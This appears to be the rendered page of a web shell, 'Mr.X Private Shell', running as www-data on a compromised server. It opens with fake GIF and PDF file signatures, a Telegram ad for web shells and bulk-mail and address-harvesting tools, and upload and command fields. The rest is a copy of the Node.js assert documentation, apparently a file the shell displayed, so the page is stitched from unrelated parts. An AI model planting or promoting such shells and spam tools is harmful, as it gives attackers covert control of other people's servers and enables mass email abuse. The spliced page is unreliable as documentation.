GIF89; GIF89; %PDF- %PDF- Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

www-data@216.73.216.129: ~ $ 
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <meta name="nodejs.org:node-version" content="v22.22.0">
  <title>Assert | Node.js v22.22.0 Documentation</title>
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Lato:400,700,400italic&display=fallback">
  <link rel="stylesheet" href="assets/style.css">
  <link rel="stylesheet" href="assets/hljs.css">
  <link rel="canonical" href="https://nodejs.org/api/assert.html">
  <script async defer src="assets/api.js" type="text/javascript"></script>
  <script>
      const storedTheme = localStorage.getItem('theme');

      // Follow operating system theme preference
      if (storedTheme === null && window.matchMedia) {
        const mq = window.matchMedia('(prefers-color-scheme: dark)');
        if (mq.matches) {
          document.documentElement.classList.add('dark-mode');
        }
      } else if (storedTheme === 'dark') {
        document.documentElement.classList.add('dark-mode');
      }
  </script>
  <style>@media(max-width:598px){.with-47-chars>.js-flavor-toggle{float:none;margin:0 0 1em auto;}}@media(max-width:582px){.with-45-chars>.js-flavor-toggle{float:none;margin:0 0 1em auto;}}@media(max-width:526px){.with-38-chars>.js-flavor-toggle{float:none;margin:0 0 1em auto;}}@media(max-width:542px){.with-40-chars>.js-flavor-toggle{float:none;margin:0 0 1em auto;}}@media(max-width:622px){.with-50-chars>.js-flavor-toggle{float:none;margin:0 0 1em auto;}}</style>
</head>
<body class="alt apidoc" id="api-section-assert">
  <a href="#apicontent" class="skip-to-content">Skip to content</a>
  <div id="content" class="clearfix">
    <div role="navigation" id="column2" class="interior">
      <div id="intro" class="interior">
        <a href="/" title="Go back to the home page">
          Node.js
        </a>
      </div>
      <ul>
<li><a href="documentation.html" class="nav-documentation">About this documentation</a></li>
<li><a href="synopsis.html" class="nav-synopsis">Usage and example</a></li>
</ul>
<hr class="line">
<ul>
<li><a href="assert.html" class="nav-assert active">Assertion testing</a></li>
<li><a href="async_context.html" class="nav-async_context">Asynchronous context tracking</a></li>
<li><a href="async_hooks.html" class="nav-async_hooks">Async hooks</a></li>
<li><a href="buffer.html" class="nav-buffer">Buffer</a></li>
<li><a href="addons.html" class="nav-addons">C++ addons</a></li>
<li><a href="n-api.html" class="nav-n-api">C/C++ addons with Node-API</a></li>
<li><a href="embedding.html" class="nav-embedding">C++ embedder API</a></li>
<li><a href="child_process.html" class="nav-child_process">Child processes</a></li>
<li><a href="cluster.html" class="nav-cluster">Cluster</a></li>
<li><a href="cli.html" class="nav-cli">Command-line options</a></li>
<li><a href="console.html" class="nav-console">Console</a></li>
<li><a href="crypto.html" class="nav-crypto">Crypto</a></li>
<li><a href="debugger.html" class="nav-debugger">Debugger</a></li>
<li><a href="deprecations.html" class="nav-deprecations">Deprecated APIs</a></li>
<li><a href="diagnostics_channel.html" class="nav-diagnostics_channel">Diagnostics Channel</a></li>
<li><a href="dns.html" class="nav-dns">DNS</a></li>
<li><a href="domain.html" class="nav-domain">Domain</a></li>
<li><a href="environment_variables.html" class="nav-environment_variables">Environment Variables</a></li>
<li><a href="errors.html" class="nav-errors">Errors</a></li>
<li><a href="events.html" class="nav-events">Events</a></li>
<li><a href="fs.html" class="nav-fs">File system</a></li>
<li><a href="globals.html" class="nav-globals">Globals</a></li>
<li><a href="http.html" class="nav-http">HTTP</a></li>
<li><a href="http2.html" class="nav-http2">HTTP/2</a></li>
<li><a href="https.html" class="nav-https">HTTPS</a></li>
<li><a href="inspector.html" class="nav-inspector">Inspector</a></li>
<li><a href="intl.html" class="nav-intl">Internationalization</a></li>
<li><a href="modules.html" class="nav-modules">Modules: CommonJS modules</a></li>
<li><a href="esm.html" class="nav-esm">Modules: ECMAScript modules</a></li>
<li><a href="module.html" class="nav-module">Modules: <code>node:module</code> API</a></li>
<li><a href="packages.html" class="nav-packages">Modules: Packages</a></li>
<li><a href="typescript.html" class="nav-typescript">Modules: TypeScript</a></li>
<li><a href="net.html" class="nav-net">Net</a></li>
<li><a href="os.html" class="nav-os">OS</a></li>
<li><a href="path.html" class="nav-path">Path</a></li>
<li><a href="perf_hooks.html" class="nav-perf_hooks">Performance hooks</a></li>
<li><a href="permissions.html" class="nav-permissions">Permissions</a></li>
<li><a href="process.html" class="nav-process">Process</a></li>
<li><a href="punycode.html" class="nav-punycode">Punycode</a></li>
<li><a href="querystring.html" class="nav-querystring">Query strings</a></li>
<li><a href="readline.html" class="nav-readline">Readline</a></li>
<li><a href="repl.html" class="nav-repl">REPL</a></li>
<li><a href="report.html" class="nav-report">Report</a></li>
<li><a href="single-executable-applications.html" class="nav-single-executable-applications">Single executable applications</a></li>
<li><a href="sqlite.html" class="nav-sqlite">SQLite</a></li>
<li><a href="stream.html" class="nav-stream">Stream</a></li>
<li><a href="string_decoder.html" class="nav-string_decoder">String decoder</a></li>
<li><a href="test.html" class="nav-test">Test runner</a></li>
<li><a href="timers.html" class="nav-timers">Timers</a></li>
<li><a href="tls.html" class="nav-tls">TLS/SSL</a></li>
<li><a href="tracing.html" class="nav-tracing">Trace events</a></li>
<li><a href="tty.html" class="nav-tty">TTY</a></li>
<li><a href="dgram.html" class="nav-dgram">UDP/datagram</a></li>
<li><a href="url.html" class="nav-url">URL</a></li>
<li><a href="util.html" class="nav-util">Utilities</a></li>
<li><a href="v8.html" class="nav-v8">V8</a></li>
<li><a href="vm.html" class="nav-vm">VM</a></li>
<li><a href="wasi.html" class="nav-wasi">WASI</a></li>
<li><a href="webcrypto.html" class="nav-webcrypto">Web Crypto API</a></li>
<li><a href="webstreams.html" class="nav-webstreams">Web Streams API</a></li>
<li><a href="worker_threads.html" class="nav-worker_threads">Worker threads</a></li>
<li><a href="zlib.html" class="nav-zlib">Zlib</a></li>
</ul>
<hr class="line">
<ul>
<li><a href="https://github.com/nodejs/node" class="nav-https-github-com-nodejs-node">Code repository and issue tracker</a></li>
</ul>
    </div>

    <div id="column1" data-id="assert" class="interior">
      <header class="header">
        <div class="header-container">
          <h1>Node.js v22.22.0 documentation</h1>
          <button class="theme-toggle-btn" id="theme-toggle-btn" title="Toggle dark mode/light mode" aria-label="Toggle dark mode/light mode" hidden>
            <svg xmlns="http://www.w3.org/2000/svg" class="icon dark-icon" height="24" width="24">
              <path fill="none" d="M0 0h24v24H0z" />
              <path d="M11.1 12.08c-2.33-4.51-.5-8.48.53-10.07C6.27 2.2 1.98 6.59 1.98 12c0 .14.02.28.02.42.62-.27 1.29-.42 2-.42 1.66 0 3.18.83 4.1 2.15A4.01 4.01 0 0111 18c0 1.52-.87 2.83-2.12 3.51.98.32 2.03.5 3.11.5 3.5 0 6.58-1.8 8.37-4.52-2.36.23-6.98-.97-9.26-5.41z"/>
              <path d="M7 16h-.18C6.4 14.84 5.3 14 4 14c-1.66 0-3 1.34-3 3s1.34 3 3 3h3c1.1 0 2-.9 2-2s-.9-2-2-2z"/>
            </svg>
            <svg xmlns="http://www.w3.org/2000/svg" class="icon light-icon" height="24" width="24">
              <path d="M0 0h24v24H0z" fill="none" />
              <path d="M6.76 4.84l-1.8-1.79-1.41 1.41 1.79 1.79 1.42-1.41zM4 10.5H1v2h3v-2zm9-9.95h-2V3.5h2V.55zm7.45 3.91l-1.41-1.41-1.79 1.79 1.41 1.41 1.79-1.79zm-3.21 13.7l1.79 1.8 1.41-1.41-1.8-1.79-1.4 1.4zM20 10.5v2h3v-2h-3zm-8-5c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6zm-1 16.95h2V19.5h-2v2.95zm-7.45-3.91l1.41 1.41 1.79-1.8-1.41-1.41-1.79 1.8z"/>
            </svg>
          </button>
        </div>
        <div id="gtoc">
          <ul>
            <li class="pinned-header">Node.js v22.22.0</li>
            
    <li class="picker-header">
      <a href="#toc-picker" aria-controls="toc-picker">
        <span class="picker-arrow"></span>
        Table of contents
      </a>

      <div class="picker" tabindex="-1"><div class="toc"><ul id="toc-picker">
<li><span class="stability_2"><a href="#assert">Assert</a></span>
<ul>
<li><a href="#strict-assertion-mode">Strict assertion mode</a></li>
<li><a href="#legacy-assertion-mode">Legacy assertion mode</a></li>
<li><a href="#class-assertassertionerror">Class: <code>assert.AssertionError</code></a>
<ul>
<li><a href="#new-assertassertionerroroptions"><code>new assert.AssertionError(options)</code></a></li>
</ul>
</li>
<li><a href="#class-assertassert">Class: <code>assert.Assert</code></a>
<ul>
<li><a href="#new-assertassertoptions"><code>new assert.Assert([options])</code></a></li>
</ul>
</li>
<li><span class="stability_0"><a href="#class-assertcalltracker">Class: <code>assert.CallTracker</code></a></span>
<ul>
<li><a href="#new-assertcalltracker"><code>new assert.CallTracker()</code></a></li>
<li><a href="#trackercallsfn-exact"><code>tracker.calls([fn][, exact])</code></a></li>
<li><a href="#trackergetcallsfn"><code>tracker.getCalls(fn)</code></a></li>
<li><a href="#trackerreport"><code>tracker.report()</code></a></li>
<li><a href="#trackerresetfn"><code>tracker.reset([fn])</code></a></li>
<li><a href="#trackerverify"><code>tracker.verify()</code></a></li>
</ul>
</li>
<li><a href="#assertvalue-message"><code>assert(value[, message])</code></a></li>
<li><a href="#assertdeepequalactual-expected-message"><code>assert.deepEqual(actual, expected[, message])</code></a>
<ul>
<li><a href="#comparison-details">Comparison details</a></li>
</ul>
</li>
<li><a href="#assertdeepstrictequalactual-expected-message"><code>assert.deepStrictEqual(actual, expected[, message])</code></a>
<ul>
<li><a href="#comparison-details_1">Comparison details</a></li>
</ul>
</li>
<li><a href="#assertdoesnotmatchstring-regexp-message"><code>assert.doesNotMatch(string, regexp[, message])</code></a></li>
<li><a href="#assertdoesnotrejectasyncfn-error-message"><code>assert.doesNotReject(asyncFn[, error][, message])</code></a></li>
<li><a href="#assertdoesnotthrowfn-error-message"><code>assert.doesNotThrow(fn[, error][, message])</code></a></li>
<li><a href="#assertequalactual-expected-message"><code>assert.equal(actual, expected[, message])</code></a></li>
<li><a href="#assertfailmessage"><code>assert.fail([message])</code></a></li>
<li><span class="stability_0"><a href="#assertfailactual-expected-message-operator-stackstartfn"><code>assert.fail(actual, expected[, message[, operator[, stackStartFn]]])</code></a></span></li>
<li><a href="#assertiferrorvalue"><code>assert.ifError(value)</code></a></li>
<li><a href="#assertmatchstring-regexp-message"><code>assert.match(string, regexp[, message])</code></a></li>
<li><a href="#assertnotdeepequalactual-expected-message"><code>assert.notDeepEqual(actual, expected[, message])</code></a></li>
<li><a href="#assertnotdeepstrictequalactual-expected-message"><code>assert.notDeepStrictEqual(actual, expected[, message])</code></a></li>
<li><a href="#assertnotequalactual-expected-message"><code>assert.notEqual(actual, expected[, message])</code></a></li>
<li><a href="#assertnotstrictequalactual-expected-message"><code>assert.notStrictEqual(actual, expected[, message])</code></a></li>
<li><a href="#assertokvalue-message"><code>assert.ok(value[, message])</code></a></li>
<li><a href="#assertrejectsasyncfn-error-message"><code>assert.rejects(asyncFn[, error][, message])</code></a></li>
<li><a href="#assertstrictequalactual-expected-message"><code>assert.strictEqual(actual, expected[, message])</code></a></li>
<li><a href="#assertthrowsfn-error-message"><code>assert.throws(fn[, error][, message])</code></a></li>
<li><a href="#assertpartialdeepstrictequalactual-expected-message"><code>assert.partialDeepStrictEqual(actual, expected[, message])</code></a>
<ul>
<li><a href="#comparison-details_2">Comparison details</a></li>
</ul>
</li>
</ul>
</li>
</ul></div></div>
    </li>
  
            
    <li class="picker-header">
      <a href="#gtoc-picker" aria-controls="gtoc-picker">
        <span class="picker-arrow"></span>
        Index
      </a>

      <div class="picker" tabindex="-1" id="gtoc-picker"><ul>
<li><a href="documentation.html" class="nav-documentation">About this documentation</a></li>
<li><a href="synopsis.html" class="nav-synopsis">Usage and example</a></li>

      <li>
        <a href="index.html">Index</a>
      </li>
    </ul>
  
<hr class="line">
<ul>
<li><a href="assert.html" class="nav-assert active">Assertion testing</a></li>
<li><a href="async_context.html" class="nav-async_context">Asynchronous context tracking</a></li>
<li><a href="async_hooks.html" class="nav-async_hooks">Async hooks</a></li>
<li><a href="buffer.html" class="nav-buffer">Buffer</a></li>
<li><a href="addons.html" class="nav-addons">C++ addons</a></li>
<li><a href="n-api.html" class="nav-n-api">C/C++ addons with Node-API</a></li>
<li><a href="embedding.html" class="nav-embedding">C++ embedder API</a></li>
<li><a href="child_process.html" class="nav-child_process">Child processes</a></li>
<li><a href="cluster.html" class="nav-cluster">Cluster</a></li>
<li><a href="cli.html" class="nav-cli">Command-line options</a></li>
<li><a href="console.html" class="nav-console">Console</a></li>
<li><a href="crypto.html" class="nav-crypto">Crypto</a></li>
<li><a href="debugger.html" class="nav-debugger">Debugger</a></li>
<li><a href="deprecations.html" class="nav-deprecations">Deprecated APIs</a></li>
<li><a href="diagnostics_channel.html" class="nav-diagnostics_channel">Diagnostics Channel</a></li>
<li><a href="dns.html" class="nav-dns">DNS</a></li>
<li><a href="domain.html" class="nav-domain">Domain</a></li>
<li><a href="environment_variables.html" class="nav-environment_variables">Environment Variables</a></li>
<li><a href="errors.html" class="nav-errors">Errors</a></li>
<li><a href="events.html" class="nav-events">Events</a></li>
<li><a href="fs.html" class="nav-fs">File system</a></li>
<li><a href="globals.html" class="nav-globals">Globals</a></li>
<li><a href="http.html" class="nav-http">HTTP</a></li>
<li><a href="http2.html" class="nav-http2">HTTP/2</a></li>
<li><a href="https.html" class="nav-https">HTTPS</a></li>
<li><a href="inspector.html" class="nav-inspector">Inspector</a></li>
<li><a href="intl.html" class="nav-intl">Internationalization</a></li>
<li><a href="modules.html" class="nav-modules">Modules: CommonJS modules</a></li>
<li><a href="esm.html" class="nav-esm">Modules: ECMAScript modules</a></li>
<li><a href="module.html" class="nav-module">Modules: <code>node:module</code> API</a></li>
<li><a href="packages.html" class="nav-packages">Modules: Packages</a></li>
<li><a href="typescript.html" class="nav-typescript">Modules: TypeScript</a></li>
<li><a href="net.html" class="nav-net">Net</a></li>
<li><a href="os.html" class="nav-os">OS</a></li>
<li><a href="path.html" class="nav-path">Path</a></li>
<li><a href="perf_hooks.html" class="nav-perf_hooks">Performance hooks</a></li>
<li><a href="permissions.html" class="nav-permissions">Permissions</a></li>
<li><a href="process.html" class="nav-process">Process</a></li>
<li><a href="punycode.html" class="nav-punycode">Punycode</a></li>
<li><a href="querystring.html" class="nav-querystring">Query strings</a></li>
<li><a href="readline.html" class="nav-readline">Readline</a></li>
<li><a href="repl.html" class="nav-repl">REPL</a></li>
<li><a href="report.html" class="nav-report">Report</a></li>
<li><a href="single-executable-applications.html" class="nav-single-executable-applications">Single executable applications</a></li>
<li><a href="sqlite.html" class="nav-sqlite">SQLite</a></li>
<li><a href="stream.html" class="nav-stream">Stream</a></li>
<li><a href="string_decoder.html" class="nav-string_decoder">String decoder</a></li>
<li><a href="test.html" class="nav-test">Test runner</a></li>
<li><a href="timers.html" class="nav-timers">Timers</a></li>
<li><a href="tls.html" class="nav-tls">TLS/SSL</a></li>
<li><a href="tracing.html" class="nav-tracing">Trace events</a></li>
<li><a href="tty.html" class="nav-tty">TTY</a></li>
<li><a href="dgram.html" class="nav-dgram">UDP/datagram</a></li>
<li><a href="url.html" class="nav-url">URL</a></li>
<li><a href="util.html" class="nav-util">Utilities</a></li>
<li><a href="v8.html" class="nav-v8">V8</a></li>
<li><a href="vm.html" class="nav-vm">VM</a></li>
<li><a href="wasi.html" class="nav-wasi">WASI</a></li>
<li><a href="webcrypto.html" class="nav-webcrypto">Web Crypto API</a></li>
<li><a href="webstreams.html" class="nav-webstreams">Web Streams API</a></li>
<li><a href="worker_threads.html" class="nav-worker_threads">Worker threads</a></li>
<li><a href="zlib.html" class="nav-zlib">Zlib</a></li>
</ul>
<hr class="line">
<ul>
<li><a href="https://github.com/nodejs/node" class="nav-https-github-com-nodejs-node">Code repository and issue tracker</a></li>
</ul></div>
    </li>
  
            
    <li class="picker-header">
      <a href="#alt-docs" aria-controls="alt-docs">
        <span class="picker-arrow"></span>
        Other versions
      </a>
      <div class="picker" tabindex="-1"><ol id="alt-docs"><li><a href="https://nodejs.org/docs/latest-v25.x/api/assert.html">25.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v24.x/api/assert.html">24.x <b>LTS</b></a></li>
<li><a href="https://nodejs.org/docs/latest-v23.x/api/assert.html">23.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v22.x/api/assert.html">22.x <b>LTS</b></a></li>
<li><a href="https://nodejs.org/docs/latest-v21.x/api/assert.html">21.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v20.x/api/assert.html">20.x <b>LTS</b></a></li>
<li><a href="https://nodejs.org/docs/latest-v19.x/api/assert.html">19.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v18.x/api/assert.html">18.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v17.x/api/assert.html">17.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v16.x/api/assert.html">16.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v15.x/api/assert.html">15.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v14.x/api/assert.html">14.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v13.x/api/assert.html">13.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v12.x/api/assert.html">12.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v11.x/api/assert.html">11.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v10.x/api/assert.html">10.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v9.x/api/assert.html">9.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v8.x/api/assert.html">8.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v7.x/api/assert.html">7.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v6.x/api/assert.html">6.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v5.x/api/assert.html">5.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v4.x/api/assert.html">4.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v0.12.x/api/assert.html">0.12.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v0.10.x/api/assert.html">0.10.x</a></li></ol></div>
    </li>
  
            <li class="picker-header">
              <a href="#options-picker" aria-controls="options-picker">
                <span class="picker-arrow"></span>
                Options
              </a>
        
              <div class="picker" tabindex="-1">
                <ul id="options-picker">
                  <li>
                    <a href="all.html">View on single page</a>
                  </li>
                  <li>
                    <a href="assert.json">View as JSON</a>
                  </li>
                  <li class="edit_on_github"><a href="https://github.com/nodejs/node/edit/main/doc/api/assert.md">Edit on GitHub</a></li>    
                </ul>
              </div>
            </li>
          </ul>
        </div>
        <hr>
      </header>

      <details role="navigation" id="toc" open><summary>Table of contents</summary><ul>
<li><span class="stability_2"><a href="#assert">Assert</a></span>
<ul>
<li><a href="#strict-assertion-mode">Strict assertion mode</a></li>
<li><a href="#legacy-assertion-mode">Legacy assertion mode</a></li>
<li><a href="#class-assertassertionerror">Class: <code>assert.AssertionError</code></a>
<ul>
<li><a href="#new-assertassertionerroroptions"><code>new assert.AssertionError(options)</code></a></li>
</ul>
</li>
<li><a href="#class-assertassert">Class: <code>assert.Assert</code></a>
<ul>
<li><a href="#new-assertassertoptions"><code>new assert.Assert([options])</code></a></li>
</ul>
</li>
<li><span class="stability_0"><a href="#class-assertcalltracker">Class: <code>assert.CallTracker</code></a></span>
<ul>
<li><a href="#new-assertcalltracker"><code>new assert.CallTracker()</code></a></li>
<li><a href="#trackercallsfn-exact"><code>tracker.calls([fn][, exact])</code></a></li>
<li><a href="#trackergetcallsfn"><code>tracker.getCalls(fn)</code></a></li>
<li><a href="#trackerreport"><code>tracker.report()</code></a></li>
<li><a href="#trackerresetfn"><code>tracker.reset([fn])</code></a></li>
<li><a href="#trackerverify"><code>tracker.verify()</code></a></li>
</ul>
</li>
<li><a href="#assertvalue-message"><code>assert(value[, message])</code></a></li>
<li><a href="#assertdeepequalactual-expected-message"><code>assert.deepEqual(actual, expected[, message])</code></a>
<ul>
<li><a href="#comparison-details">Comparison details</a></li>
</ul>
</li>
<li><a href="#assertdeepstrictequalactual-expected-message"><code>assert.deepStrictEqual(actual, expected[, message])</code></a>
<ul>
<li><a href="#comparison-details_1">Comparison details</a></li>
</ul>
</li>
<li><a href="#assertdoesnotmatchstring-regexp-message"><code>assert.doesNotMatch(string, regexp[, message])</code></a></li>
<li><a href="#assertdoesnotrejectasyncfn-error-message"><code>assert.doesNotReject(asyncFn[, error][, message])</code></a></li>
<li><a href="#assertdoesnotthrowfn-error-message"><code>assert.doesNotThrow(fn[, error][, message])</code></a></li>
<li><a href="#assertequalactual-expected-message"><code>assert.equal(actual, expected[, message])</code></a></li>
<li><a href="#assertfailmessage"><code>assert.fail([message])</code></a></li>
<li><span class="stability_0"><a href="#assertfailactual-expected-message-operator-stackstartfn"><code>assert.fail(actual, expected[, message[, operator[, stackStartFn]]])</code></a></span></li>
<li><a href="#assertiferrorvalue"><code>assert.ifError(value)</code></a></li>
<li><a href="#assertmatchstring-regexp-message"><code>assert.match(string, regexp[, message])</code></a></li>
<li><a href="#assertnotdeepequalactual-expected-message"><code>assert.notDeepEqual(actual, expected[, message])</code></a></li>
<li><a href="#assertnotdeepstrictequalactual-expected-message"><code>assert.notDeepStrictEqual(actual, expected[, message])</code></a></li>
<li><a href="#assertnotequalactual-expected-message"><code>assert.notEqual(actual, expected[, message])</code></a></li>
<li><a href="#assertnotstrictequalactual-expected-message"><code>assert.notStrictEqual(actual, expected[, message])</code></a></li>
<li><a href="#assertokvalue-message"><code>assert.ok(value[, message])</code></a></li>
<li><a href="#assertrejectsasyncfn-error-message"><code>assert.rejects(asyncFn[, error][, message])</code></a></li>
<li><a href="#assertstrictequalactual-expected-message"><code>assert.strictEqual(actual, expected[, message])</code></a></li>
<li><a href="#assertthrowsfn-error-message"><code>assert.throws(fn[, error][, message])</code></a></li>
<li><a href="#assertpartialdeepstrictequalactual-expected-message"><code>assert.partialDeepStrictEqual(actual, expected[, message])</code></a>
<ul>
<li><a href="#comparison-details_2">Comparison details</a></li>
</ul>
</li>
</ul>
</li>
</ul></details>

      <div role="main" id="apicontent">
        <h2>Assert<span><a class="mark" href="#assert" id="assert">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert"></a></h2>

<p></p><div class="api_stability api_stability_2"><a href="documentation.html#stability-index">Stability: 2</a> - Stable</div><p></p>
<p><strong>Source Code:</strong> <a href="https://github.com/nodejs/node/blob/v22.22.0/lib/assert.js">lib/assert.js</a></p>
<p>The <code>node:assert</code> module provides a set of assertion functions for verifying
invariants.</p>
<section><h3>Strict assertion mode<span><a class="mark" href="#strict-assertion-mode" id="strict-assertion-mode">#</a></span><a aria-hidden="true" class="legacy" id="assert_strict_assertion_mode"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v15.0.0</td>
<td><p>Exposed as <code>require('node:assert/strict')</code>.</p></td></tr>
<tr><td>v13.9.0, v12.16.2</td>
<td><p>Changed "strict mode" to "strict assertion mode" and "legacy mode" to "legacy assertion mode" to avoid confusion with the more usual meaning of "strict mode".</p></td></tr>
<tr><td>v9.9.0</td>
<td><p>Added error diffs to the strict assertion mode.</p></td></tr>
<tr><td>v9.9.0</td>
<td><p>Added strict assertion mode to the assert module.</p></td></tr>
<tr><td>v9.9.0</td>
<td><p><span>Added in: v9.9.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<p>In strict assertion mode, non-strict methods behave like their corresponding
strict methods. For example, <a href="#assertdeepequalactual-expected-message"><code>assert.deepEqual()</code></a> will behave like
<a href="#assertdeepstrictequalactual-expected-message"><code>assert.deepStrictEqual()</code></a>.</p>
<p>In strict assertion mode, error messages for objects display a diff. In legacy
assertion mode, error messages for objects display the objects, often truncated.</p>
<p>To use strict assertion mode:</p>

<pre class="with-47-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> { strict <span class="hljs-keyword">as</span> assert } <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>).<span class="hljs-property">strict</span>;</code><button class="copy-button">copy</button></pre>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);</code><button class="copy-button">copy</button></pre>
<p>Example error diff:</p>

<pre class="with-47-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> { strict <span class="hljs-keyword">as</span> assert } <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;

assert.<span class="hljs-title function_">deepEqual</span>([[[<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>]], <span class="hljs-number">4</span>, <span class="hljs-number">5</span>], [[[<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-string">'3'</span>]], <span class="hljs-number">4</span>, <span class="hljs-number">5</span>]);
<span class="hljs-comment">// AssertionError: Expected inputs to be strictly deep-equal:</span>
<span class="hljs-comment">// + actual - expected ... Lines skipped</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">//   [</span>
<span class="hljs-comment">//     [</span>
<span class="hljs-comment">// ...</span>
<span class="hljs-comment">//       2,</span>
<span class="hljs-comment">// +     3</span>
<span class="hljs-comment">// -     '3'</span>
<span class="hljs-comment">//     ],</span>
<span class="hljs-comment">// ...</span>
<span class="hljs-comment">//     5</span>
<span class="hljs-comment">//   ]</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">deepEqual</span>([[[<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>]], <span class="hljs-number">4</span>, <span class="hljs-number">5</span>], [[[<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-string">'3'</span>]], <span class="hljs-number">4</span>, <span class="hljs-number">5</span>]);
<span class="hljs-comment">// AssertionError: Expected inputs to be strictly deep-equal:</span>
<span class="hljs-comment">// + actual - expected ... Lines skipped</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">//   [</span>
<span class="hljs-comment">//     [</span>
<span class="hljs-comment">// ...</span>
<span class="hljs-comment">//       2,</span>
<span class="hljs-comment">// +     3</span>
<span class="hljs-comment">// -     '3'</span>
<span class="hljs-comment">//     ],</span>
<span class="hljs-comment">// ...</span>
<span class="hljs-comment">//     5</span>
<span class="hljs-comment">//   ]</span></code><button class="copy-button">copy</button></pre>
<p>To deactivate the colors, use the <code>NO_COLOR</code> or <code>NODE_DISABLE_COLORS</code>
environment variables. This will also deactivate the colors in the REPL. For
more on color support in terminal environments, read the tty
<a href="tty.html#writestreamgetcolordepthenv"><code>getColorDepth()</code></a> documentation.</p>
</section><section><h3>Legacy assertion mode<span><a class="mark" href="#legacy-assertion-mode" id="legacy-assertion-mode">#</a></span><a aria-hidden="true" class="legacy" id="assert_legacy_assertion_mode"></a></h3>
<p>Legacy assertion mode uses the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Equality"><code>==</code> operator</a> in:</p>
<ul>
<li><a href="#assertdeepequalactual-expected-message"><code>assert.deepEqual()</code></a></li>
<li><a href="#assertequalactual-expected-message"><code>assert.equal()</code></a></li>
<li><a href="#assertnotdeepequalactual-expected-message"><code>assert.notDeepEqual()</code></a></li>
<li><a href="#assertnotequalactual-expected-message"><code>assert.notEqual()</code></a></li>
</ul>
<p>To use legacy assertion mode:</p>

<pre class="with-38-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);</code><button class="copy-button">copy</button></pre>
<p>Legacy assertion mode may have surprising results, especially when using
<a href="#assertdeepequalactual-expected-message"><code>assert.deepEqual()</code></a>:</p>
<pre><code class="language-js cjs"><span class="hljs-comment">// WARNING: This does not throw an AssertionError in legacy assertion mode!</span>
assert.<span class="hljs-title function_">deepEqual</span>(<span class="hljs-regexp">/a/gi</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Date</span>());</code> <button class="copy-button">copy</button></pre>
